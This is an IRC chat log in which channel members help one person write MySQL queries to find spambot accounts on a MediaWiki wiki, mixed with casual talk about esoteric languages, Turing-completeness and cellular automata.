18:24:37 <elliott> oerjan: come on, which is more believable?
18:24:52 <Taneb> I have been heard of outside of IRC
18:25:14 <ais523> Taneb: Northumberland doesn't have a South West, it's North by definition
18:25:27 <Taneb> I have been heard of outside the Internet
18:25:31 <ais523> oh right, that's what you said, just in different words
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18:25:53 <Taneb> BY THE MAJORITY OF 15-18 YEAR OLDS IN SOUTH-WEST NORTHUMBERLAND
18:26:17 <elliott> oerjan: is being a hermit nice? hexham is so crowded.
18:26:29 <oerjan> Taneb: they don't count, since that place doesn't exist
18:26:50 <Taneb> My name has been mentioned in the Hexham Courant
18:26:50 <HackEgo> 512) <oerjan> i try to be a hermit but it's hard with all these housemates.
18:28:24 <oerjan> oh god, one of them started coughing like on queue
18:29:33 <oerjan> spell things correctly, that's the quay
18:30:24 <fizzie> elliott: rev_comment not regexp '^(Undo|Revert|[Ss][Pp][Aa][Mm])' or some-such.
18:30:26 -!- Taneb has quit (Read error: Connection reset by peer).
18:31:44 <elliott> fizzie: Oh sure. With your fancy "regexps".
18:32:03 <elliott> fizzie: If you're smart, how about giving me a query for all users with 0 undeleted revisions, and more than 0 deleted revisions, huh?
18:33:34 <elliott> Suddenly the smartFinn smarts NO MORE.
18:34:17 <fizzie> I don't really know the MySQL or the mediawiki DB schema. :/
18:34:25 <elliott> <fizzie> elliott: rev_comment not regexp '^(Undo|Revert|[Ss][Pp][Aa][Mm])' or some-such.
18:34:41 <fizzie> Well, the rev_comment came from your thing, and the regexp I've seen.
18:35:04 <fizzie> But I did do a Grasp 'cat' program in the hypothetical edge-labeled Grasp, it's at http://zem.fi/~fis/grasp-cat.png
18:35:21 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id) > 0;
18:35:24 <elliott> I think it's this or something.
18:36:53 <ais523> elliott: right, I don't think there's an index that would work for that
18:37:36 * elliott would like a surer check :(
18:38:29 <kmc> i wonder if adding new syntax highlighting to pandoc requires modifying and recompiling highlighting-kate
18:38:51 <kmc> which is a huge package that takes forever to build in cabal's single-threaded world
18:38:56 <elliott> i hear they made that package nicer
18:42:41 <fizzie> elliott: You could eliminate a subselect by grouping archive by user, something like select ar_user from archive group by ar_user having (select count(*) from revision where rev_user = ar_user) = 0 -- that way it'd only consider users found in the 'archive' table.
18:43:27 <oerjan> today's advice: don't be so distracted you try to eat your vitamin pill and a piece of bread at the same time.
18:43:56 <oerjan> (sorry, i don't _have_ a twitter account)
18:44:10 <fizzie> oerjan: How about a facebook?
18:46:54 <ais523> how many facebooks are there?
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18:47:17 <fizzie> I think the way they speak nowadays is "I have a facebook" "my facebook was hacked" etc.
18:47:40 <ais523> this is like people who think that their computer came with Google as its OS
18:47:50 <ais523> and thus, that they can't change their homepage or the entire system will break
18:47:52 <fizzie> Also they said at one point "my MP3 is red and holds a thousand songs"; they're talking about a portable player.
18:47:55 <oerjan> today's hypothesis: the reason aliens have not contacted us is because they cannot find a way to do it without violating our i.p. laws
18:48:44 <oerjan> (basically all aliens are ais523 clones)
18:49:35 <oerjan> or possibly ais523 _is_ their emissary, but they wiped his mind for the same reason.
18:51:56 <oerjan> well it could be that or the immigration laws.
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19:07:57 <elliott> <fizzie> elliott: You could eliminate a subselect by grouping archive by user, something like select ar_user from archive group by ar_user having (select count(*) from revision where rev_user = ar_user) = 0 -- that way it'd only consider users found in the 'archive' table.
19:08:04 <elliott> fizzie: Also there's a cache for the count revision of user.
19:08:09 <elliott> Except it might include deleted edits too.
19:09:09 <elliott> <fizzie> I think the way they speak nowadays is "I have a facebook" "my facebook was hacked" etc.
19:09:09 <elliott> <ais523> this is like people who think that their computer came with Google as its OS
19:09:09 <elliott> <ais523> and thus, that they can't change their homepage or the entire system will break
19:09:30 <elliott> I don't really see how this is unreasonable; plenty of things have been "nounified" in a similar way
19:10:02 <ais523> elliott: but it's a collective noun
19:10:06 <ais523> you can't say "an IRC"
19:10:20 <ais523> you can say "an IRC server", or "an IRC client", or "an IRC channel", but not "an IRC" in the abstract
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19:10:46 <elliott> perfectly reasonable and ubiquitous
19:11:04 <ais523> hmm, I more commonly see it used to mean "email message" than "email address2
19:11:37 <elliott> yep, but they're both just like "facebook"
19:14:34 <elliott> fizzie: Also what does group by actually do?
19:15:15 <mRoman> I thought translating BF-Loops to Beam would be trivial :)
19:15:31 <mRoman> Turns out it's more tedious than I thought.
19:15:49 <mRoman> (Brainfuck constant 24)
19:15:57 <elliott> ais523: any ideas for ways to turn that query into something more unambiguously spammer-only?
19:16:08 <mRoman> p/++++Pnv>'p++++++P`p-Pu'p:
19:16:20 <elliott> which is amazing, we could eliminate the vast majority of spammers with a single query if refined
19:16:25 <oerjan> <elliott> (every time oerjan tried to figure out whether another subset of Underload is TC I would insist it can't possibly be, but he proved me wrong every time :))
19:16:52 <ais523> elliott: hmm, I wouldn't be sure that would have no false positives
19:16:57 <ais523> although I doubt there can be many
19:16:58 <oerjan> on the other hand, i agreed with your predictions every time too, i just didn't let that stop me from disproving them :)
19:17:08 <ais523> oerjan: reminds me of the 2,3 thing, I thought it was incomplete
19:17:12 <ais523> until I proved otherwise
19:17:18 <ais523> and that took me by surprise
19:17:40 <elliott> :^() being sub-TC I probably would have bet money on
19:17:55 <ais523> oerjan: btw, I tried getting oerjanswap to type
19:18:03 <ais523> and I'm a bit confused about whether it does or not
19:18:03 <elliott> <ais523> elliott: hmm, I wouldn't be sure that would have no false positives
19:18:06 <oerjan> i don't recall what oerjanswap is
19:18:08 <elliott> ais523: that's why I want more conditions to refine it :P
19:18:09 <ais523> perhaps I should try in Haskell
19:18:17 <ais523> oerjan: it's the implementation of ~ in terms of the other primitives
19:18:51 <ais523> replacing f with \x.f x is called eta-expansion, right?
19:19:20 <ais523> it seems to placate the OCaml type-checker somewhat
19:19:24 <ais523> not sure if that's enough, though
19:19:32 <oerjan> (reminds me of the anecdote of that mathematician who stood up during a conference and asked "Excuse me, but what is a Hilbert space?")
19:19:35 <ais523> I eventually got oerjanswap to type, but the type is obviously far too complex
19:19:56 <ais523> oerjan: you can get a long way understanding the concepts but not the names for them
19:20:17 <fizzie> elliott: It, uh, groups by. If you "group by X, Y, Z", the final results will have one row for each distinct tuple (X, Y, Z) that exists (post-WHERE), and any aggregate expressions like count(*) or sum(W) in the columns-to-select are calculated over the groups. (And then a HAVING clause is pretty much identical to WHERE, except it's done post-GROUP BY, so you can use the said aggregate expressions in the conditions.)
19:20:27 <elliott> fizzie: RELATIONAL THEORY IS HARD.
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19:20:36 <oerjan> (SPOLIER: the mathematician was David Hilbert)
19:21:02 <oerjan> elliott: well that's about how i heard it.
19:21:16 <elliott> oh i don't care whether it's true
19:21:19 <elliott> just that someone other than you made it up
19:22:14 <oerjan> yep. i think my advisor told it to me.
19:22:53 <elliott> ais523: I thought of a filtering query
19:23:01 <elliott> ais523: all your spam page deletions have had "spam" in the summary, right?
19:23:12 <ais523> not /all/ of them, I often typo it
19:23:32 <elliott> right, I'll just make sure the deleted revisions are from those
19:23:39 <ais523> oh, legitimate users will sometimes have edited pages which were deleted for spam
19:23:50 <ais523> because some people blanked spam pages, before I told them not to because it was pointless
19:23:57 <elliott> yes, but they won't have undeleted-editcount 0 and deleted-editcount >0
19:24:00 <ais523> you should check for the person who /created/ a page deleted as spam
19:24:10 <elliott> i have no idea how to do that :P
19:24:47 <elliott> oh archive contains page records.
19:24:58 <elliott> so my query _was_ page creators
19:25:12 <elliott> so, it's only finding users that have 0 nondeleted edits, and who have created at least 1 deleted page
19:25:34 <ais523> archive is edits to deleted pages, isn't it?
19:25:39 <ais523> that is, "deleted revisions"
19:25:40 <elliott> The archive table is the place where MediaWiki stores information on deleted pages. The pages may be restored, or undeleted, by a MediaWiki Administrator using the Special:Undelete special page. Beginning in MediaWiki 1.5, the content of the pages remains in the text table; the deletion time is logged in the logging table.
19:26:00 <elliott> OK, I just need to tie it into the deletion reason now
19:26:06 <elliott> to avoid, e.g. people who just worked on one article which then got deleted
19:26:11 <ais523> if you end up deleting my account, I'll get annoyed
19:26:34 <elliott> "When a page is deleted, all its old revisions move from the revision table to the archive table"
19:26:47 <elliott> why does mediawiki gotta make this difficult?
19:28:21 <elliott> ais523: OK, what about this: "All users with 0 undeleted edits and >0 deleted edits to pages deleted with summary 'spam'"
19:28:37 <elliott> the only false positives will be people who registered, blanked spam, and then never did anything else /ever/
19:28:46 <elliott> and I don't think we've had anyone do that
19:28:47 <ais523> theoretically it isn't perfect, but I doubt it'll have false positives in practice
19:28:53 <oerjan> 11:31:07: <elliott> right, but the only thing you need to maintain is whether it halts or not
19:28:56 <oerjan> 11:31:14: <elliott> by definition of TCness
19:29:05 <oerjan> the idea of not including even a single output bit disturbs me.
19:29:13 <elliott> oerjan: er that's the halts bit
19:29:26 <elliott> admittedly, its value is uncomputable.
19:29:35 <fizzie> How about: "All bad users." (SQL can do that, right?)
19:29:37 <ais523> it's only uncomputable if it's a 1
19:29:42 <ais523> if it's a 0, you can compute it just fine
19:30:00 <oerjan> which is disturbing. to me, to be TC you should be able to use it to get the full results of an ordinary TM.
19:30:01 <elliott> oerjan: anyway BCT ends with 0 usable bits
19:30:20 <oerjan> elliott: on the BCT page it says to output the deleted bits.
19:30:29 <oerjan> which is what i did for ///
19:30:33 <elliott> well, yes. but that's just a suggestion.
19:31:25 <oerjan> yes, but i assumed it was because that _is_ enough information to extract a result from.
19:33:20 <elliott> ais523: hmm, only 3803 articles deleted with %spam% comment
19:33:32 <elliott> seems like it should be more
19:33:43 <elliott> mysql> select log_title from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%';
19:33:49 <elliott> now to integrate this with the above query...
19:33:55 <oerjan> elliott: you could make sort of a note somewhere on the login page to contact you if you think the account has been blocked in error
19:34:22 <elliott> oerjan: the accounts are probably going to be deleted altogether, as the only people who could see them would be admins anyway
19:34:36 <elliott> fizzie: how to I say "count of all entries in FOO table matching these criteria where a corresponding entry in BAR table exists matching these criteria"
19:34:59 <elliott> (there may be multiple such entries in BAR, but I only care about the existence of one)
19:35:07 <elliott> (or forall, if that's more convenient)
19:35:15 <elliott> corresponding = with this field matching that field
19:35:42 <elliott> oerjan: anyway I won't run any query I'm not sure won't block legit users
19:35:56 <elliott> well beyond a reasonable doubt, anyway
19:37:56 <fizzie> elliott: The straight-forward way would be to subquery it with SELECT count(*) FROM FOO WHERE x AND y AND z AND EXISTS (SELECT * FROM BAR WHERE thisfield = thatfield AND p AND q). Alternatively, some sort of a join.
19:38:11 <elliott> fizzie: I thought it would be a GROUP BY.
19:39:07 <fizzie> It's probably not a group by when you don't want a set of unique somethings.
19:39:36 <elliott> I don't understand this "set of unique somethings" technobabble. :(
19:40:32 <fizzie> Like, uh, if you have the table ((john, 123), (john, 456), (john, 789), (mick, 1111), (mick, 2222)) and you want the output ((john, 3), (mick, 2)) where the numbers are the number of john- and mick-rows, that's probably a place for a group by.
19:40:58 <fizzie> Like a SELECT name, count(*) FROM thing GROUP BY name.
19:41:29 <fizzie> (And the aggregates like 'count' will then be run over the rows in each group.)
19:41:39 <elliott> (The query here is "count of entries in the revision table where user id = X and <the page in question was deleted as spam>", where the <>s stuff is either "exists log entry where page id = col_of_revision_thing and summary..." or "forall log entries where page id = col_of_revision_thing, we ahve summary...")
19:42:42 <elliott> Man, why doesn't MySQL just use propositional logic?
19:43:02 <mRoman> Because MySQL somehow uses relational algebra?
19:43:16 <mRoman> Or at least that would be cool.
19:43:26 <mRoman> elliott: It does and it does not.
19:43:43 <elliott> It NULLs relational algebra.
19:44:13 <fizzie> That should be at least doable (if not optimally so) with a SELECT count(*) FROM revision WHERE rev_user = X AND EXISTS (SELECT * FROM logorwhatever WHERE log_page_id = rev_page_id AND log_summary = ...).
19:44:38 <elliott> fizzie: Would a FORALL be just as easy? (Not really a "big ie", as they say.)
19:45:16 <mRoman> If you change that SELECT * in the EXISTS clause to SELECT 1
19:45:45 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_page = ar_page_id)) > 0;
19:45:59 <fizzie> The fields selected shouldn't matter at all for an EXISTS query.
19:46:22 <elliott> fizzie: I have a complaint.
19:47:44 <elliott> Works without "and exists ..." onwards.
19:48:25 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title)) > 0;
19:48:30 <elliott> I guess them page IDs be the screwies.
19:48:56 <fizzie> Possibly; I don't really know how those go.
19:49:06 <elliott> ais523: Guess who has a 2861-long list of basically certain spambots?
19:49:37 <fizzie> elliott: There's the bit in the archive table's description of how "ar_page_id: Reference to page_id. -- Will be NULL for pages deleted prior to 1.11."
19:49:45 <ais523> 2861 is low enough to quickly check the list by eye
19:49:50 <elliott> ais523: yes, I just scanned it
19:49:57 <elliott> there's patterns and obvious spambot names and the like
19:50:42 <elliott> fizzie: Now, out of curiosity, say I wanted to add the constraint to that archive select that the ar_timestamp was the lowest of all ar_timestamps in the archive table for the same (ar_title,ar_namespace) pair.
19:50:47 <elliott> How difficult/horrific would that be?
19:50:53 <elliott> (This corresponding to the "page creation" concept.)
19:51:12 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title and log_namespace = ar_namespace)) > 0;
19:52:53 <elliott> ais523: I think fizzie "ran away", as they say in Denmark.
19:53:00 <fizzie> elliott: It's not too difficult to express as a yet another subquery, obviously -- I mean, it's just "... and ar_timestamp = (select min(ar_timestamp) from archive a2 where a2.ar_title = ar_title and a2.ar_namespace = ar_namespace) ...", except you may need to add a name for the first archive table for disambiguation -- but it's probably utterly slow to run.
19:53:11 <elliott> Also, how scary: that query went from ~35 seconds to ~15 seconds to 0 seconds.
19:53:20 <elliott> I think it's building caches and indexes and whatnot behidnbehind my back. Spooky.
19:55:12 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and ar_timestamp = (select min(ar2.ar_timestamp) from archive a2 where a2.ar_title = ar_title and a2.ar_namespace = ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title
19:55:12 <elliott> and log_namespace = ar_namespace)) > 0;
19:55:12 <elliott> ERROR 1054 (42S22): Unknown column 'ar2.ar_timestamp' in 'field list'
19:55:50 <fizzie> You wrote "ar2" and not "a2".
19:56:02 <fizzie> (Where I actually forgot to have the name at all.)
19:56:30 <fizzie> I'm not entirely sure if it needs one, there.
19:56:57 <elliott> Okay, now it go whirr. Whirr whirr whirr.
19:57:54 <elliott> fizzie: "The format of timestamps used in MediaWiki URLs and in some of the MediaWiki database fields is yyyymmddhhmmss. For example, the timestamp for August 9th, 2010 00:30:06 UTC is 20100809003006. The timezone for these timestamps is UTC."
19:58:03 <elliott> This shouldn't cause problems, right?
19:58:58 <fizzie> I'm not entirely sure how "min" is specified to work; that certainly looks like it should sort right.
19:59:26 <elliott> Perhaps it's treating "ar_title" as ar2.ar_title?
19:59:31 <fizzie> Yes, that's very possible.
19:59:45 <fizzie> In which case it'd yield min(ar_timestamp) over the whole archive table for each test.
20:00:04 <fizzie> You may need to make the first archive an "archive a1" and then a1.'s there.
20:00:17 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp = (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_ti
20:00:18 <elliott> tle = a1.ar_title and log_namespace = a1.ar_namespace)) > 0;
20:00:23 <elliott> This is the Worst Query Ever.
20:00:50 <elliott> fizzie: How do you diff two resultsets?
20:03:02 <fizzie> Gngh. It may be easiest to just stuff those results into two temporary tables, but of course that's not very pretty. I'm sure there's some way of just doing the whole thing as a single statement, too.
20:03:21 <elliott> ais523????? I bet he knows.
20:03:46 <ais523> I'm not very good at SQL
20:03:50 <elliott> fizzie: http://en.wikipedia.org/wiki/Set_operations_(SQL) Perhaps "EXCEPT"?
20:04:15 <fizzie> Yeah, I only remembered the UNION one.
20:04:38 <fizzie> Assuming MySQL has it.
20:05:15 <elliott> mysql> (select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title and log_namespace = ar_namespace)) > 0) except (select user_name from user where (select count(*) from revision where rev_user =
20:05:15 <elliott> user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp = (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = a1.ar_title and log_namespace = a1.ar_namespace)) > 0);
20:05:22 <elliott> I am going to go back in time and put my childhood self off coding forever.
20:05:38 <fizzie> Did it actually accept that thing?
20:05:46 <elliott> It doesn't know what 'except" means.
20:05:55 <elliott> "Intersection and Set-Difference in MySQL (A workaround for EXCEPT)"
20:05:57 <fizzie> I don't think the syntax calls for ()s around the queries, either; but right.
20:06:07 <elliott> "To get the set difference, here is a similar approach using a sub query:
20:06:07 <elliott> WHERE NOT EXISTS (SELECT * FROM S WHERE R.a = S.a AND R.b = S.b);
20:06:10 <fizzie> There's the LEFT JOIN replacement also mentioned by the wikipedia page.
20:06:21 <elliott> fizzie: So, err, how do you stuff results into temporary tables?
20:07:25 <fizzie> It'd be INSERT INTO tbl SELECT user_name FROM ... except there's probably some notation to make a really temporary per-connection table, instead of a "real" one.
20:08:16 * elliott just inverts the check that's causing it.
20:08:21 <elliott> By enforcing it to _not_ be the minimum.
20:09:19 <elliott> What, it returned the 130.
20:09:46 <elliott> I will apply the "not thinking about it" tactic.
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20:11:36 <elliott> ais523: I figure if we get the number of total accounts down to 1,000 or so, it'll be easy to hand-review the remaining ones
20:11:59 -!- sebbu has joined.
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20:12:12 <fizzie> Okay, here's a generic "return only the user_name's from [query1] that are not returned by [query2]" that might or might not work with MySQL:
20:12:24 <fizzie> SELECT q1.user_name FROM (SELECT user_name FROM user WHERE [query1]) AS q1 LEFT JOIN (SELECT user_name FROM user WHERE [query2]) AS q2 ON q1.user_name = q2.user_name WHERE q2.user_name IS NULL
20:12:34 <elliott> Oh sure, leave me to do the pastering.
20:12:41 <fizzie> I've left out most of [query1] and [query2] in interests of brevity.
20:13:21 <elliott> mysql> SELECT q1.user_name FROM (SELECT user_name FROM user WHERE (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title)) > 0) AS q1 LEFT JOIN (SELECT user_name FROM user WHERE (select count(*) from revision where rev_user
20:13:21 <elliott> = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title and log_namespace = ar_namespace)) > 0) AS q2 ON q1.user_name = q2.user_name WHERE q2.user_name IS NULL;
20:13:28 <elliott> Wow, it's actually running.
20:13:57 <fizzie> You might've been able to use a NATURAL LEFT JOIN as opposed to LEFT JOIN ... ON q1.user_name = q2.user_name, actually.
20:14:26 -!- azaq23 has quit (Quit: Leaving.).
20:14:34 <elliott> From this I conclude that 0 = 1 = 130.
20:14:54 <elliott> ais523: is it safe to delete users in an automated fashion from a database haunted by a ghost?
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20:15:09 <fizzie> Where's the min(a2.ar_timestamp) in all of that?
20:15:22 <elliott> That's the same query twice, isn't it?
20:15:27 <ais523> depends on what sort of ghost
20:15:35 <fizzie> It's so dazzling, it's hard to say.
20:15:57 <fizzie> (You want q1 to be the one that returns more rows.)
20:16:07 <elliott> mysql> SELECT q1.user_name FROM (SELECT user_name FROM user WHERE (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive where ar_user = user_id and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = ar_title)) > 0) AS q1 LEFT JOIN (SELECT user_name FROM user WHERE (select count(*) from revision where rev_user
20:16:07 <elliott> = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp = (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = a1.ar_title and log_namespace = a1.ar_namespace)) > 0) AS q2 ON q1.user_name = q
20:16:08 <elliott> 2.user_name WHERE q2.user_name IS NULL;
20:16:51 <fizzie> SQL: so concise and expressive.
20:17:14 <elliott> Finally mathematiques prevails.
20:17:39 <elliott> ais523: that's the one user that registered to solely blank a single spam page
20:18:52 <elliott> fizzie: Did anyone ever make a database where you just plug in propositional logic for the queries?
20:19:29 -!- pikhq has quit (Ping timeout: 245 seconds).
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20:19:50 <oerjan> i vaguely recall Altavista had that
20:20:07 -!- Taneb has joined.
20:20:16 <elliott> what, as in a servery database program thing?
20:20:17 * oerjan slightly wonders why elliott couldn't just use diff somehow
20:20:29 <oerjan> no, as in the search engine.
20:20:31 <fizzie> oerjan: This way was certainly more elegant.
20:20:43 <elliott> diff would have required copying lots of lines into files
20:21:20 <fizzie> Some of the persistence things might be slightly kinda-sorta like that, but not like that at all. (But you don't write SQL or relational algebra in all of them; they have different sorts of ways of getting results. Though mostly I think just starting with sets and filtering them down using predicates.)
20:21:32 <elliott> fizzie: No, I didn't say relational algebra.
20:21:39 <elliott> I want bona-fide set theory. :(
20:23:26 <Phantom_Hoover> Random esolang idea: all control flow is done by altering the metric of the instruction space.
20:23:36 <elliott> Phantom_Hoover: DO YOU KNOW WHAT WE'VE BEEN THROUGH
20:23:40 <elliott> AND ALL YOU CAN TALK ABOUT IS ESOLANGS
20:23:48 <Phantom_Hoover> Instructions are continuous, and data storage is also done with metric distortions.
20:26:32 <Taneb> elliott's kitchen and bed and head are all measured in decimetres
20:26:44 <Taneb> If they were in imperial, everything would be better
20:27:04 <Taneb> Of course, they're based on the old decimetre, that is, the rod of metal in Paris
20:27:21 <elliott> fizzie: You know, a nice additional condition would be if it excluded users with talk pages... HINT HINT
20:27:32 <elliott> Also backup to self: select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp != (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%sp
20:27:32 <elliott> am%' and log_title = a1.ar_title and log_namespace = a1.ar_namespace)) > 0;
20:27:38 <Taneb> Due to the recent weather, that rod has distorted, bringing chaos to the old metric system
20:28:50 <Taneb> Previously, elliott's spam guards were just big enough. But as the parisian rod has shrunk, so has his guards, thus letting in the spam
20:29:01 <Phantom_Hoover> i do a little upwards flick from 2/3 of the line right before a 1
20:29:10 <elliott> can we stop talking about my rod
20:29:12 -!- zzo38 has joined.
20:29:26 <elliott> is Phantom_Hoover talking about how he writes numbers
20:29:49 -!- Taneb has changed nick to somenoe.
20:29:54 <mRoman> Aren't there scientific specification of how long a meter is?
20:30:01 -!- somenoe has changed nick to Taneb.
20:30:05 <Taneb> Not in the old system
20:30:05 <elliott> mRoman: it's the kilogram that isn't "specified"
20:30:19 <Phantom_Hoover> this is almost as world-shattering as when I worked out how to write a )( x without lifting the pen
20:30:44 <mRoman> without lifting the pen sounds like bending the paper
20:31:00 <Phantom_Hoover> mRoman, the metre is specified in terms of the distance light travels in <time>.
20:31:50 <Taneb> From 1889 to 1960, it was based on a rod in Pavillon de Bretuil
20:31:53 <mRoman> Those definitions are in the law ;)
20:31:54 <Taneb> Which is near Paris
20:32:21 <fizzie> elliott: If talk page titles equal user names, I suppose that's just an additional "... and not exists (select 1 from pagesorwhatever where title = user_name and namespace = talkytalky)" at the very end of the query, as an additional filter.
20:33:10 <elliott> mysql> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp != (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_t
20:33:10 <elliott> itle = a1.ar_title and log_namespace = a1.ar_namespace)) > 0 and not exists (select * from page where page_namespace = 2 and page_title = user_name);
20:33:32 <oerjan> any users which don't exist will have to deal with this manually.
20:34:28 <oerjan> elliott: you should get Phantom_Hoover to rewrite your numbers. i hear he's quite amazing at it.
20:34:52 <fizzie> Is that your != min(...) thing too?
20:35:20 <elliott> select user_name from user where (select count(*) from revision where rev_user = user_id) = 0 and (select count(*) from archive a1 where a1.ar_user = user_id and a1.ar_timestamp = (select min(a2.ar_timestamp) from archive a2 where a2.ar_title = a1.ar_title and a2.ar_namespace = a1.ar_namespace) and exists (select * from logging where log_action = 'delete' and (log_namespace = 0 or log_namespace = 2) and log_comment like '%spam%' and log_title = a
20:35:20 <elliott> 1.ar_title and log_namespace = a1.ar_namespace)) > 0;
20:36:13 <oerjan> !slashes /x/SPAM /xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
20:36:13 <elliott> ais523: what if we just deleted everyone?
20:36:14 <EgoBot> SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM
20:36:16 <elliott> that would be really simple
20:36:28 <ais523> elliott: err, bad idea :)
20:37:20 <elliott> maybe i should not propose ideas like that when I'm (a) sleep-deprived and (b) have a MySQL console connected to the live database
20:38:01 <fizzie> Good DROP TABLE night.
20:38:07 <elliott> oops I accidentally deleted the universe
20:38:21 <oerjan> it's ok it was broken anyway
20:38:26 <elliott> I think I'll find some more easy spambot queries to build on top of that one and assemble them into one gigantic query
20:38:30 <olsner> looks weird when you put a verb after accidentally like that
20:38:55 <oerjan> `addquote <elliott> oops I accidentally deleted the universe <olsner> looks weird when you put a verb after accidentally like that
20:38:56 <ion> IO# (\_ -> (undefined, undefined)) Whoops, i accidentally the universe with bottom.
20:38:59 <HackEgo> 811) <elliott> oops I accidentally deleted the universe <olsner> looks weird when you put a verb after accidentally like that
20:39:11 <ion> olsner: Haha
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20:39:28 <zzo38> You asked for a MediaWiki extension program to use my TeX format file in MediaWiki; I can try to look at the codes for for <math> extension and make a <tex> extension like that? But, is the server UNIX, how do you limit memory/time and how do you have TeX installed?
20:39:29 <kmc> kind error
20:39:45 <ion> undefined#?
20:39:49 <kmc> no such thing
20:40:04 <lambdabot> Source not found. Just what do you think you're doing Dave?
20:40:12 <kmc> maybe i should publish that Maybe# implementation i wrote while drunk
20:40:19 <oerjan> i think there's not # on the IO, though
20:40:25 <Taneb> Goodnight, elliott.
20:41:10 <zzo38> kmc: OK please show me.
20:41:17 <oerjan> good night, sweet prince
20:41:42 <kmc> http://hpaste.org/56370
20:41:49 -!- elliott has quit (Read error: Operation timed out).
20:41:56 <zzo38> And I think there should be undefined# which acts like "undef" values in LLVM.
20:43:07 <zzo38> Because if there is such a thing as undefined# it seems that is what it should do.
21:06:26 <Phantom_Hoover> Anyone remember the discussion about conservative, reversible, universal CAs we had a while back?
21:08:10 <kmc> this code has the drawback that nothing# == just# nothing#
21:08:47 <Phantom_Hoover> Almost certainly, but I don't think you actually need the conservative part for the interesting properties.
21:09:25 <Taneb> What does universal mean in this context?
21:15:15 <oerjan> as usual, TC/universal gets a bit fishy with infinite setup models
21:15:40 <Taneb> I'm not sure if it's possible
21:15:59 <Taneb> Unless constant == infinite?
21:16:08 <Taneb> Or a state is smaller than I think
21:16:16 <oerjan> presumably it's supposed to be a local conservation
21:16:43 <oerjan> like with energy in the real world
21:17:12 <quintopia> i dont think any reversible totalistic CAs on the moore neighborhood are very interesting?
21:17:56 <Phantom_Hoover> oerjan, yeah, except I think if you're talking about computing reversibility already imposes a conservation law.
21:18:21 <Phantom_Hoover> And in a CA setting it's as interesting as those imposed by conservatism.
21:18:21 <oerjan> Phantom_Hoover: not number of cells in each state, though
21:19:20 <oerjan> but to formulate it locally you'd want something like "the number of cells in each state in a region cannot change by more than a constant times the size of its border"
21:19:48 <oerjan> to allow things to leave and enter
21:20:46 <quintopia> you could be more strict than that in a CA with an infinitely tiled default pattern
21:21:36 <oerjan> well yes if you allow only a finite region to be different
21:22:14 <oerjan> although what if the default pattern is changing, like for rule 110
21:22:36 <oerjan> (the rule 110 aether has a period 7 evolution)
21:22:45 <quintopia> it doesnt change by much in rule 110
21:23:11 <oerjan> i suppose you can adjust for that shift when counting
21:23:30 <quintopia> you could specify that the average has to stay constant across sufficiently many generations
21:23:54 <oerjan> but that doesn't have to be the case for a general CA. although if it's periodic, you might just look at change over multiples of the time period
21:24:55 <quintopia> im not sure what the goal of conservatism is really
21:25:17 <oerjan> to have a sort of analogy to energy?
